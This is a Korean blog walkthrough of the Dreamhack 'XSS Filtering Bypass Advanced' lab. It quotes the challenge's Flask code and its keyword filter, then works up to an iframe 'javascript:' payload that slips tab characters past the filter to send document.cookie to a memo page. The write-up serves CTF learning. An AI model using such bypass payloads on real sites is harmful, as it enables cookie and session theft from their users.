이번엔 XSS Filtering Bypass가 Advanced 돼서 돌아왔다..!
무려(?) 3단계다..
뭐가 달라졌는지 알아보자
저번 문제와 같이 3개의 페이지가 있다.
/vuln 페이지이다. <img src> 스크립트 사용이 가능하다는 것을 보여준다.
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
/vuln 소스코드다. param의 파라미터 값을 받아서 xss_filter에 넘겨준다.
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
return "filtered!!!"
advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
for f in advanced_filter:
if f in text.lower():
return "filtered!!!"
return text
xss_filter 함수이다.
여러 가지 스크립트에 활용할 수 있는 문자열들을 필터링하고 있다.
전 문제와 달리 필터링 할 문자들을 없애는 방식이 아니라 "filtered"를 띄워버린다.
scrscriptipt 같은 방식은 통하지 않을 것으로 보인다.
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
/memo 페이지이다. get으로 memo 파라미터 값을 출력해준다.
/flag 페이지이다.
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
소스코드를 해석해보면
GET 요청이 왔을 때는 flag.html을 띄워주고, POST 요청이 왔을 때는 param 값을 가져와서 param이라는 변수에 저장하고,
name이 flag이고, value가 FLAG.strip()인 값을 check_xss 함수에 전달한다.
아마 flag의 value가 이 문제의 FLAG로 추측된다.
참고로 strip() 함수는 양 사이드의 공백을 제거한다.
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
check_xss 함수이다. /flag 에서 받은 param과 FLAG.strip()을 각각 param, cookie에 저장한다.
전달받은 param 값으로 /vuln 페이지에 param이라는 파라미터 값에 urllib.parse.quote() 함수를 사용해 param 값을 url 인코딩 한 뒤
get 요청을 보내는 url을 만들어 url 이라는 이름의 변수에 저장한 후, read_url 함수에 생성한 url과 cookie값을 전달한다.
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
read_url 함수이다.
url과 cookie를 전달받고, driver.add_cookie 함수로 cookie 값으로 쿠키를 추가한다.
암튼 우리가 해야 할 것은 xss_filter 함수를 우회해서 /memo 페이지에 document.cookie 값을 전달해야 한다!
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
return "filtered!!!"
advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
for f in advanced_filter:
if f in text.lower():
return "filtered!!!"
return text
너무나도 많은 키워드들이 필터링되고 있다..
<script>location.href="/memo"+document.cookie</script> 를 어떤 방식으로든 실행시키면 된다.
<script> 사이에 %09(tab)을 넣어보았다. 안된다.
중간에 탭을 끼워넣어보았다. 필터링되지는 않는데 이게 실행이 가능한지는 모르겠다.
on 사이에 탭을 끼워봤다. 실행은 안된다. onerror= 뒷 부분부터 탭을 넣어도 되는건가?
확인을 해보려면 javascript 앞에 필터링이 되지 않는 키워드를 사용해야 한다.
<script>는 안되고.. <img src onerror>도 on 때문에 안된다.
사용할 수 있는 건 iframe이 있다.
<iframe src = "javasc%09ript:alert`1`"> 을 해봐야겠다.
오? ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ됐다
메모에다가 document.cookie를 보내면 되니까
<iframe src = "javasc%09ript:locatio%09n.href='/memo?memo'+docu%09ment.cookie"> 를 하면 될 것 같다
post라서 %09 대신 탭을 넣어서 submit 했다.
왜 안되냐..
<iframe src = "javasc ript:locatio n.href='/memo?memo='+docu ment.cookie">
= 를 빼먹었다..

'Dreamhack' 카테고리의 다른 글
[Dreamhack] simple_sqli_chatgpt 풀이 (0) | 2024.04.03 |
---|---|
[Dreamhack] BypassIF 풀이 (0) | 2024.04.03 |
[Dreamhack] XSS Filtering Bypass 풀이 (0) | 2024.03.20 |
[Dreamhack] sql injection bypass WAF Advanced 풀이 (0) | 2024.03.20 |
[Dreamhack] sql injection bypass WAF 풀이 (0) | 2024.03.02 |